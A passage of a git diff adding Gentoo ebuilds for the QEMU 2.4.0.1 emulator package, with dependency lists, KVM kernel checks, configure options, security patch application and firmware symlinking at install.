1467 + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
1468 + tls? ( net-libs/gnutls[static-libs(+)] )
1469 + usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
1470 + usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
1471 + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
1472 + vde? ( net-misc/vde[static-libs(+)] )
1473 + virtfs? ( sys-libs/libcap )
1474 + xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
1475 +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
1476 +X86_FIRMWARE_DEPEND="
1477 + >=sys-firmware/ipxe-1.0.0_p20130624
1478 + pin-upstream-blobs? (
1479 + ~sys-firmware/seabios-1.8.2
1480 + ~sys-firmware/sgabios-0.1_pre8
1481 + ~sys-firmware/vgabios-0.7a
1482 + )
1483 + !pin-upstream-blobs? (
1484 + sys-firmware/seabios
1485 + sys-firmware/sgabios
1486 + sys-firmware/vgabios
1487 + )"
1488 +CDEPEND="
1489 + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
1490 + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
1491 + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
1492 + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
1493 + python? ( ${PYTHON_DEPS} )
1494 + systemtap? ( dev-util/systemtap )
1495 + xen? ( app-emulation/xen-tools:= )"
1496 +DEPEND="${CDEPEND}
1497 + dev-lang/perl
1498 + =dev-lang/python-2*
1499 + sys-apps/texinfo
1500 + virtual/pkgconfig
1501 + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
1502 + gtk? ( nls? ( sys-devel/gettext ) )
1503 + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
1504 + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
1505 + test? (
1506 + dev-libs/glib[utils]
1507 + sys-devel/bc
1508 + )"
1509 +RDEPEND="${CDEPEND}
1510 + selinux? ( sec-policy/selinux-qemu )
1511 +"
1512 +
1513 +STRIP_MASK="/usr/share/qemu/palcode-clipper"
1514 +
1515 +QA_PREBUILT="
1516 + usr/share/qemu/openbios-ppc
1517 + usr/share/qemu/openbios-sparc64
1518 + usr/share/qemu/openbios-sparc32
1519 + usr/share/qemu/palcode-clipper
1520 + usr/share/qemu/s390-ccw.img
1521 + usr/share/qemu/u-boot.e500
1522 +"
1523 +
1524 +QA_WX_LOAD="usr/bin/qemu-i386
1525 + usr/bin/qemu-x86_64
1526 + usr/bin/qemu-alpha
1527 + usr/bin/qemu-arm
1528 + usr/bin/qemu-cris
1529 + usr/bin/qemu-m68k
1530 + usr/bin/qemu-microblaze
1531 + usr/bin/qemu-microblazeel
1532 + usr/bin/qemu-mips
1533 + usr/bin/qemu-mipsel
1534 + usr/bin/qemu-or32
1535 + usr/bin/qemu-ppc
1536 + usr/bin/qemu-ppc64
1537 + usr/bin/qemu-ppc64abi32
1538 + usr/bin/qemu-sh4
1539 + usr/bin/qemu-sh4eb
1540 + usr/bin/qemu-sparc
1541 + usr/bin/qemu-sparc64
1542 + usr/bin/qemu-armeb
1543 + usr/bin/qemu-sparc32plus
1544 + usr/bin/qemu-s390x
1545 + usr/bin/qemu-unicore32"
1546 +
1547 +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
1548 +you have the kernel module loaded before running kvm. The easiest way to
1549 +ensure that the kernel module is loaded is to load it on boot.\n
1550 +For AMD CPUs the module is called 'kvm-amd'\n
1551 +For Intel CPUs the module is called 'kvm-intel'\n
1552 +Please review /etc/conf.d/modules for how to load these\n\n
1553 +Make sure your user is in the 'kvm' group\n
1554 +Just run 'gpasswd -a <USER> kvm', then have <USER> re-login."
1555 +
1556 +qemu_support_kvm() {
1557 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
1558 + use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
1559 + use qemu_softmmu_targets_s390x; then
1560 + return 0
1561 + fi
1562 +
1563 + return 1
1564 +}
1565 +
1566 +pkg_pretend() {
1567 + if use kernel_linux && kernel_is lt 2 6 25; then
1568 + eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
1569 + elif use kernel_linux; then
1570 + if ! linux_config_exists; then
1571 + eerror "Unable to check your kernel for KVM support"
1572 + else
1573 + CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
1574 + ERROR_KVM="You must enable KVM in your kernel to continue"
1575 + ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
1576 + ERROR_KVM_AMD+=" your kernel configuration."
1577 + ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
1578 + ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
1579 + ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
1580 + ERROR_TUN+=" into your kernel or loaded as a module to use the"
1581 + ERROR_TUN+=" virtual network device if using -net tap."
1582 + ERROR_BRIDGE="You will also need support for 802.1d"
1583 + ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
1584 + use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
1585 + ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
1586 + ERROR_VHOST_NET+=" support"
1587 +
1588 + if use amd64 || use x86 || use amd64-linux || use x86-linux; then
1589 + CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
1590 + fi
1591 +
1592 + use python && CONFIG_CHECK+=" ~DEBUG_FS"
1593 + ERROR_DEBUG_FS="debugFS support required for kvm_stat"
1594 +
1595 + # Now do the actual checks setup above
1596 + check_extra_config
1597 + fi
1598 + fi
1599 +
1600 + if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
1601 + eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
1602 + eerror "instances are still pointing to it. Please update your"
1603 + eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
1604 + eerror "and the right system binary (e.g. qemu-system-x86_64)."
1605 + die "update your virt configs to not use qemu-kvm"
1606 + fi
1607 +}
1608 +
1609 +pkg_setup() {
1610 + enewgroup kvm 78
1611 +}
1612 +
1613 +# Sanity check to make sure target lists are kept up-to-date.
1614 +check_targets() {
1615 + local var=$1 mak=$2
1616 + local detected sorted
1617 +
1618 + pushd "${S}"/default-configs >/dev/null || die
1619 +
1620 + # Force C locale until glibc is updated. #564936
1621 + detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
1622 + sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
1623 + if [[ ${sorted} != "${detected}" ]] ; then
1624 + eerror "The ebuild needs to be kept in sync."
1625 + eerror "${var}: ${sorted}"
1626 + eerror "$(printf '%-*s' ${#var} configure): ${detected}"
1627 + die "sync ${var} to the list of targets"
1628 + fi
1629 +
1630 + popd >/dev/null
1631 +}
1632 +
1633 +src_prepare() {
1634 + check_targets IUSE_SOFTMMU_TARGETS softmmu
1635 + check_targets IUSE_USER_TARGETS linux-user
1636 +
1637 + # Alter target makefiles to accept CFLAGS set via flag-o
1638 + sed -i -r \
1639 + -e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
1640 + Makefile Makefile.target || die
1641 +
1642 + # Cheap hack to disable gettext .mo generation.
1643 + use nls || rm -f po/*.po
1644 +
1645 + epatch "${FILESDIR}"/qemu-1.7.0-cflags.patch
1646 + epatch "${FILESDIR}"/${P}-block-mirror-crash.patch #558396
1647 + epatch "${FILESDIR}"/${P}-CVE-2015-5225.patch #558416
1648 + epatch "${FILESDIR}"/${PN}-2.4.0-e1000-loop.patch #559656
1649 + [[ -n ${BACKPORTS} ]] && \
1650 + EPATCH_FORCE=yes EPATCH_SUFFIX="patch" EPATCH_SOURCE="${S}/patches" \
1651 + epatch
1652 +
1653 + # Fix ld and objcopy being called directly
1654 + tc-export AR LD OBJCOPY
1655 +
1656 + # Verbose builds
1657 + MAKEOPTS+=" V=1"
1658 +
1659 + epatch_user
1660 +}
1661 +
1662 +##
1663 +# configures qemu based on the build directory and the build type
1664 +# we are using.
1665 +#
1666 +qemu_src_configure() {
1667 + debug-print-function ${FUNCNAME} "$@"
1668 +
1669 + local buildtype=$1
1670 + local builddir="${S}/${buildtype}-build"
1671 + local static_flag="static-${buildtype}"
1672 +
1673 + mkdir "${builddir}"
1674 +
1675 + local conf_opts=(
1676 + --prefix=/usr
1677 + --sysconfdir=/etc
1678 + --libdir=/usr/$(get_libdir)
1679 + --docdir=/usr/share/doc/${PF}/html
1680 + --disable-bsd-user
1681 + --disable-guest-agent
1682 + --disable-strip
1683 + --disable-werror
1684 + --python="${PYTHON}"
1685 + --cc="$(tc-getCC)"
1686 + --cxx="$(tc-getCXX)"
1687 + --host-cc="$(tc-getBUILD_CC)"
1688 + $(use_enable debug debug-info)
1689 + $(use_enable debug debug-tcg)
1690 + --enable-docs
1691 + $(use_enable tci tcg-interpreter)
1692 + $(use_enable xattr attr)
1693 + )
1694 +
1695 + # Disable options not used by user targets as the default configure
1696 + # options will autoprobe and try to link in a bunch of unused junk.
1697 + conf_softmmu() {
1698 + if [[ ${buildtype} == "user" ]] ; then
1699 + echo "--disable-${2:-$1}"
1700 + else
1701 + use_enable "$@"
1702 + fi
1703 + }
1704 + conf_opts+=(
1705 + $(conf_softmmu accessibility brlapi)
1706 + $(conf_softmmu aio linux-aio)
1707 + $(conf_softmmu bluetooth bluez)
1708 + $(conf_softmmu caps cap-ng)
1709 + $(conf_softmmu curl)
1710 + $(conf_softmmu fdt)
1711 + $(conf_softmmu glusterfs)
1712 + $(conf_softmmu gtk)
1713 + $(conf_softmmu infiniband rdma)
1714 + $(conf_softmmu iscsi libiscsi)
1715 + $(conf_softmmu jpeg vnc-jpeg)
1716 + $(conf_softmmu kernel_linux kvm)
1717 + $(conf_softmmu lzo)
1718 + $(conf_softmmu ncurses curses)
1719 + $(conf_softmmu nfs libnfs)
1720 + $(conf_softmmu numa)
1721 + $(conf_softmmu opengl)
1722 + $(conf_softmmu png vnc-png)
1723 + $(conf_softmmu rbd)
1724 + $(conf_softmmu sasl vnc-sasl)
1725 + $(conf_softmmu sdl)
1726 + $(conf_softmmu seccomp)
1727 + $(conf_softmmu smartcard smartcard-nss)
1728 + $(conf_softmmu snappy)
1729 + $(conf_softmmu spice)
1730 + $(conf_softmmu ssh libssh2)
1731 + $(conf_softmmu tls vnc-tls)
1732 + $(conf_softmmu usb libusb)
1733 + $(conf_softmmu usbredir usb-redir)
1734 + $(conf_softmmu uuid)
1735 + $(conf_softmmu vde)
1736 + $(conf_softmmu vhost-net)
1737 + $(conf_softmmu virtfs)
1738 + $(conf_softmmu vnc)
1739 + $(conf_softmmu vte)
1740 + $(conf_softmmu xen)
1741 + $(conf_softmmu xen xen-pci-passthrough)
1742 + $(conf_softmmu xfs xfsctl)
1743 + )
1744 +
1745 + case ${buildtype} in
1746 + user)
1747 + conf_opts+=(
1748 + --enable-linux-user
1749 + --disable-system
1750 + --disable-blobs
1751 + --disable-tools
1752 + )
1753 + ;;
1754 + softmmu)
1755 + # audio options
1756 + local audio_opts="oss"
1757 + use alsa && audio_opts="alsa,${audio_opts}"
1758 + use sdl && audio_opts="sdl,${audio_opts}"
1759 + use pulseaudio && audio_opts="pa,${audio_opts}"
1760 +
1761 + conf_opts+=(
1762 + --disable-linux-user
1763 + --enable-system
1764 + --with-system-pixman
1765 + --audio-drv-list="${audio_opts}"
1766 + )
1767 + use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
1768 + use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
1769 + ;;
1770 + tools)
1771 + conf_opts+=(
1772 + --disable-linux-user
1773 + --disable-system
1774 + --disable-blobs
1775 + )
1776 + static_flag="static"
1777 + ;;
1778 + esac
1779 +
1780 + local targets="${buildtype}_targets"
1781 + [[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
1782 +
1783 + # Add support for SystemTAP
1784 + use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
1785 +
1786 + # We always want to attempt to build with PIE support as it results
1787 + # in a more secure binary. But it doesn't work with static or if
1788 + # the current GCC doesn't have PIE support.
1789 + if use ${static_flag}; then
1790 + conf_opts+=( --static --disable-pie )
1791 + else
1792 + gcc-specs-pie && conf_opts+=( --enable-pie )
1793 + fi
1794 +
1795 + echo "../configure ${conf_opts[*]}"
1796 + cd "${builddir}"
1797 + ../configure "${conf_opts[@]}" || die "configure failed"
1798 +
1799 + # FreeBSD's kernel does not support QEMU assigning/grabbing
1800 + # host USB devices yet
1801 + use kernel_FreeBSD && \
1802 + sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
1803 +}
1804 +
1805 +src_configure() {
1806 + local target
1807 +
1808 + python_setup
1809 +
1810 + softmmu_targets= softmmu_bins=()
1811 + user_targets= user_bins=()
1812 +
1813 + for target in ${IUSE_SOFTMMU_TARGETS} ; do
1814 + if use "qemu_softmmu_targets_${target}"; then
1815 + softmmu_targets+=",${target}-softmmu"
1816 + softmmu_bins+=( "qemu-system-${target}" )
1817 + fi
1818 + done
1819 +
1820 + for target in ${IUSE_USER_TARGETS} ; do
1821 + if use "qemu_user_targets_${target}"; then
1822 + user_targets+=",${target}-linux-user"
1823 + user_bins+=( "qemu-${target}" )
1824 + fi
1825 + done
1826 +
1827 + softmmu_targets=${softmmu_targets#,}
1828 + user_targets=${user_targets#,}
1829 +
1830 + [[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
1831 + [[ -n ${user_targets} ]] && qemu_src_configure "user"
1832 + [[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
1833 +}
1834 +
1835 +src_compile() {
1836 + if [[ -n ${user_targets} ]]; then
1837 + cd "${S}/user-build"
1838 + default
1839 + fi
1840 +
1841 + if [[ -n ${softmmu_targets} ]]; then
1842 + cd "${S}/softmmu-build"
1843 + default
1844 + fi
1845 +
1846 + if [[ -z ${softmmu_targets}${user_targets} ]]; then
1847 + cd "${S}/tools-build"
1848 + default
1849 + fi
1850 +}
1851 +
1852 +src_test() {
1853 + if [[ -n ${softmmu_targets} ]]; then
1854 + cd "${S}/softmmu-build"
1855 + pax-mark m */qemu-system-* #515550
1856 + emake -j1 check
1857 + emake -j1 check-report.html
1858 + fi
1859 +}
1860 +
1861 +qemu_python_install() {
1862 + python_domodule "${S}/scripts/qmp/qmp.py"
1863 +
1864 + python_doscript "${S}/scripts/kvm/kvm_stat"
1865 + python_doscript "${S}/scripts/kvm/vmxcap"
1866 + python_doscript "${S}/scripts/qmp/qmp-shell"
1867 + python_doscript "${S}/scripts/qmp/qemu-ga-client"
1868 +}
1869 +
1870 +src_install() {
1871 + if [[ -n ${user_targets} ]]; then
1872 + cd "${S}/user-build"
1873 + emake DESTDIR="${ED}" install
1874 +
1875 + # Install binfmt handler init script for user targets
1876 + newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
1877 + fi
1878 +
1879 + if [[ -n ${softmmu_targets} ]]; then
1880 + cd "${S}/softmmu-build"
1881 + emake DESTDIR="${ED}" install
1882 +
1883 + # This might not exist if the test failed. #512010
1884 + [[ -e check-report.html ]] && dohtml check-report.html
1885 +
1886 + if use kernel_linux; then
1887 + udev_dorules "${FILESDIR}"/65-kvm.rules
1888 + fi
1889 +
1890 + if use python; then
1891 + python_foreach_impl qemu_python_install
1892 + fi
1893 + fi
1894 +
1895 + if [[ -z ${softmmu_targets}${user_targets} ]]; then
1896 + cd "${S}/tools-build"
1897 + emake DESTDIR="${ED}" install
1898 + fi
1899 +
1900 + # Disable mprotect on the qemu binaries as they use JITs to be fast #459348
1901 + pushd "${ED}"/usr/bin >/dev/null
1902 + pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
1903 + popd >/dev/null
1904 +
1905 + # Install config file example for qemu-bridge-helper
1906 + insinto "/etc/qemu"
1907 + doins "${FILESDIR}/bridge.conf"
1908 +
1909 + # Remove the docdir placed qmp-commands.txt
1910 + mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/qmp/"
1911 +
1912 + cd "${S}"
1913 + dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
1914 + newdoc pc-bios/README README.pc-bios
1915 + dodoc docs/qmp/*.txt
1916 +
1917 + if [[ -n ${softmmu_targets} ]]; then
1918 + # Remove SeaBIOS since we're using the SeaBIOS packaged one
1919 + rm "${ED}/usr/share/qemu/bios.bin"
1920 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1921 + dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
1922 + fi
1923 +
1924 + # Remove vgabios since we're using the vgabios packaged one
1925 + rm "${ED}/usr/share/qemu/vgabios.bin"
1926 + rm "${ED}/usr/share/qemu/vgabios-cirrus.bin"
1927 + rm "${ED}/usr/share/qemu/vgabios-qxl.bin"
1928 + rm "${ED}/usr/share/qemu/vgabios-stdvga.bin"
1929 + rm "${ED}/usr/share/qemu/vgabios-vmware.bin"
1930 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1931 + dosym ../vgabios/vgabios.bin /usr/share/qemu/vgabios.bin
1932 + dosym ../vgabios/vgabios-cirrus.bin /usr/share/qemu/vgabios-cirrus.bin
1933 + dosym ../vgabios/vgabios-qxl.bin /usr/share/qemu/vgabios-qxl.bin
1934 + dosym ../vgabios/vgabios-stdvga.bin /usr/share/qemu/vgabios-stdvga.bin
1935 + dosym ../vgabios/vgabios-vmware.bin /usr/share/qemu/vgabios-vmware.bin
1936 + fi
1937 +
1938 + # Remove sgabios since we're using the sgabios packaged one
1939 + rm "${ED}/usr/share/qemu/sgabios.bin"
1940 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1941 + dosym ../sgabios/sgabios.bin /usr/share/qemu/sgabios.bin
1942 + fi
1943 +
1944 + # Remove iPXE since we're using the iPXE packaged one
1945 + rm "${ED}"/usr/share/qemu/pxe-*.rom
1946 + if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
1947 + dosym ../ipxe/8086100e.rom /usr/share/qemu/pxe-e1000.rom
1948 + dosym ../ipxe/80861209.rom /usr/share/qemu/pxe-eepro100.rom
1949 + dosym ../ipxe/10500940.rom /usr/share/qemu/pxe-ne2k_pci.rom
1950 + dosym ../ipxe/10222000.rom /usr/share/qemu/pxe-pcnet.rom
1951 + dosym ../ipxe/10ec8139.rom /usr/share/qemu/pxe-rtl8139.rom
1952 + dosym ../ipxe/1af41000.rom /usr/share/qemu/pxe-virtio.rom
1953 + fi
1954 + fi
1955 +
1956 + qemu_support_kvm && readme.gentoo_create_doc
1957 +}
1958 +
1959 +pkg_postinst() {
1960 + if qemu_support_kvm; then
1961 + readme.gentoo_print_elog
1962 + fi
1963 +
1964 + if [[ -n ${softmmu_targets} ]] && use kernel_linux; then
1965 + udev_reload
1966 + fi
1967 +
1968 + fcaps cap_net_admin /usr/libexec/qemu-bridge-helper
1969 +}
1970 +
1971 +pkg_info() {
1972 + echo "Using:"
1973 + echo " $(best_version app-emulation/spice-protocol)"
1974 + echo " $(best_version sys-firmware/ipxe)"
1975 + echo " $(best_version sys-firmware/seabios)"
1976 + if has_version 'sys-firmware/seabios[binary]'; then
1977 + echo " USE=binary"
1978 + else
1979 + echo " USE=''"
1980 + fi
1981 + echo " $(best_version sys-firmware/vgabios)"
1982 +}
1983
1984 diff --git a/app-emulation/qemu/qemu-2.4.0.1-r2.ebuild b/app-emulation/qemu/qemu-2.4.0.1-r2.ebuild
1985 new file mode 100644
1986 index 0000000..1e99f54
1987 --- /dev/null
1988 +++ b/app-emulation/qemu/qemu-2.4.0.1-r2.ebuild
1989 @@ -0,0 +1,645 @@
1990 +# Copyright 1999-2015 Gentoo Foundation
1991 +# Distributed under the terms of the GNU General Public License v2
1992 +# $Id$
1993 +
1994 +EAPI=5
1995 +
1996 +PYTHON_COMPAT=( python2_7 )
1997 +PYTHON_REQ_USE="ncurses,readline"
1998 +
1999 +inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
2000 + user udev fcaps readme.gentoo pax-utils
2001 +
2002 +BACKPORTS=
2003 +
2004 +if [[ ${PV} = *9999* ]]; then
2005 + EGIT_REPO_URI="git://git.qemu.org/qemu.git"
2006 + inherit git-2
2007 + SRC_URI=""
2008 +else
2009 + SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2
2010 + ${BACKPORTS:+
2011 + https://dev.gentoo.org/~cardoe/distfiles/${P}-${BACKPORTS}.tar.xz}"
2012 + KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
2013 +fi
2014 +
2015 +DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
2016 +HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
2017 +
2018 +LICENSE="GPL-2 LGPL-2 BSD-2"
2019 +SLOT="0"
2020 +IUSE="accessibility +aio alsa bluetooth +caps +curl debug +fdt glusterfs \
2021 +gtk gtk2 infiniband iscsi +jpeg \
2022 +kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
2023 ++png pulseaudio python \
2024 +rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
2025 +static-user systemtap tci test +threads tls usb usbredir +uuid vde +vhost-net \
2026 +virtfs +vnc vte xattr xen xfs"
2027 +
2028 +COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
2029 +mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
2030 +x86_64"
2031 +IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
2032 +IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus"
2033 +
2034 +use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
2035 +use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
2036 +IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
2037 +
2038 +# Allow no targets to be built so that people can get a tools-only build.
2039 +# Block USE flag configurations known to not work.
2040 +REQUIRED_USE="${PYTHON_REQUIRED_USE}
2041 + gtk2? ( gtk )
2042 + qemu_softmmu_targets_arm? ( fdt )
2043 + qemu_softmmu_targets_microblaze? ( fdt )
2044 + qemu_softmmu_targets_ppc? ( fdt )
2045 + qemu_softmmu_targets_ppc64? ( fdt )
2046 + sdl2? ( sdl )
2047 + static? ( static-softmmu static-user )
2048 + static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
2049 + virtfs? ( xattr )
2050 + vte? ( gtk )"
2051 +
2052 +# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
2053 +#
2054 +# The attr lib isn't always linked in (although the USE flag is always
2055 +# respected). This is because qemu supports using the C library's API
2056 +# when available rather than always using the extranl library.
2057 +COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
2058 + sys-libs/zlib[static-libs(+)]
2059 + xattr? ( sys-apps/attr[static-libs(+)] )"
2060 +SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
2061 + >=x11-libs/pixman-0.28.0[static-libs(+)]
2062 + accessibility? ( app-accessibility/brltty[static-libs(+)] )
2063 + aio? ( dev-libs/libaio[static-libs(+)] )
2064 + alsa? ( >=media-libs/alsa-lib-1.0.13 )
2065 + bluetooth? ( net-wireless/bluez )
2066 + caps? ( sys-libs/libcap-ng[static-libs(+)] )
2067 + curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
2068 + fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
2069 + glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
2070 + gtk? (
2071 + gtk2? (
2072 + x11-libs/gtk+:2
2073 + vte? ( x11-libs/vte:0 )
2074 + )
2075 + !gtk2? (
2076 + x11-libs/gtk+:3
2077 + vte? ( x11-libs/vte:2.90 )
2078 + )
2079 + )
2080 + infiniband? ( sys-infiniband/librdmacm:=[static-libs(+)] )
2081 + iscsi? ( net-libs/libiscsi )
2082 + jpeg? ( virtual/jpeg:=[static-libs(+)] )
2083 + lzo? ( dev-libs/lzo:2[static-libs(+)] )
2084 + ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
2085 + nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
2086 + numa? ( sys-process/numactl[static-libs(+)] )
2087 + opengl? (
2088 + virtual/opengl
2089 + media-libs/libepoxy[static-libs(+)]
2090 + media-libs/mesa[static-libs(+)]
2091 + media-libs/mesa[egl,gles2]
2092 + )
2093 + png? ( media-libs/libpng:0=[static-libs(+)] )
2094 + pulseaudio? ( media-sound/pulseaudio )
2095 + rbd? ( sys-cluster/ceph[static-libs(+)] )
2096 + sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
2097 + sdl? (
2098 + !sdl2? (
2099 + media-libs/libsdl[X]
2100 + >=media-libs/libsdl-1.2.11[static-libs(+)]
2101 + )
2102 + sdl2? (
2103 + media-libs/libsdl2[X]
2104 + media-libs/libsdl2[static-libs(+)]
2105 + )
2106 + )
2107 + seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
2108 + smartcard? ( dev-libs/nss !app-emulation/libcacard )
2109 + snappy? ( app-arch/snappy[static-libs(+)] )
2110 + spice? (
2111 + >=app-emulation/spice-protocol-0.12.3
2112 + >=app-emulation/spice-0.12.0[static-libs(+)]
2113 + )
2114 + ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
2115 + tls? ( net-libs/gnutls[static-libs(+)] )
2116 + usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
2117 + usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
2118 + uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
2119 + vde? ( net-misc/vde[static-libs(+)] )
2120 + virtfs? ( sys-libs/libcap )
2121 + xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
2122 +USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
2123 +X86_FIRMWARE_DEPEND="
2124 + >=sys-firmware/ipxe-1.0.0_p20130624
2125 + pin-upstream-blobs? (
2126 + ~sys-firmware/seabios-1.8.2
2127 + ~sys-firmware/sgabios-0.1_pre8
2128 + ~sys-firmware/vgabios-0.7a
2129 + )
2130 + !pin-upstream-blobs? (
2131 + sys-firmware/seabios
2132 + sys-firmware/sgabios
2133 + sys-firmware/vgabios
2134 + )"
2135 +CDEPEND="
2136 + !static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
2137 + !static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
2138 + qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
2139 + qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
2140 + python? ( ${PYTHON_DEPS} )
2141 + systemtap? ( dev-util/systemtap )
2142 + xen? ( app-emulation/xen-tools:= )"
2143 +DEPEND="${CDEPEND}
2144 + dev-lang/perl
2145 + =dev-lang/python-2*
2146 + sys-apps/texinfo
2147 + virtual/pkgconfig
2148 + kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
2149 + gtk? ( nls? ( sys-devel/gettext ) )
2150 + static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
2151 + static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
2152 + test? (
2153 + dev-libs/glib[utils]
2154 + sys-devel/bc
2155 + )"
2156 +RDEPEND="${CDEPEND}
2157 + selinux? ( sec-policy/selinux-qemu )
2158 +"
2159 +
2160 +STRIP_MASK="/usr/share/qemu/palcode-clipper"
2161 +
2162 +QA_PREBUILT="
2163 + usr/share/qemu/openbios-ppc
2164 + usr/share/qemu/openbios-sparc64
2165 + usr/share/qemu/openbios-sparc32
2166 + usr/share/qemu/palcode-clipper
2167 + usr/share/qemu/s390-ccw.img
2168 + usr/share/qemu/u-boot.e500
2169 +"
2170 +
2171 +QA_WX_LOAD="usr/bin/qemu-i386
2172 + usr/bin/qemu-x86_64
2173 + usr/bin/qemu-alpha
2174 + usr/bin/qemu-arm
2175 + usr/bin/qemu-cris
2176 + usr/bin/qemu-m68k
2177 + usr/bin/qemu-microblaze
2178 + usr/bin/qemu-microblazeel
2179 + usr/bin/qemu-mips
2180 + usr/bin/qemu-mipsel
2181 + usr/bin/qemu-or32
2182 + usr/bin/qemu-ppc
2183 + usr/bin/qemu-ppc64
2184 + usr/bin/qemu-ppc64abi32
2185 + usr/bin/qemu-sh4
2186 + usr/bin/qemu-sh4eb
2187 + usr/bin/qemu-sparc
2188 + usr/bin/qemu-sparc64
2189 + usr/bin/qemu-armeb
2190 + usr/bin/qemu-sparc32plus
2191 + usr/bin/qemu-s390x
2192 + usr/bin/qemu-unicore32"
2193 +
2194 +DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
2195 +you have the kernel module loaded before running kvm. The easiest way to
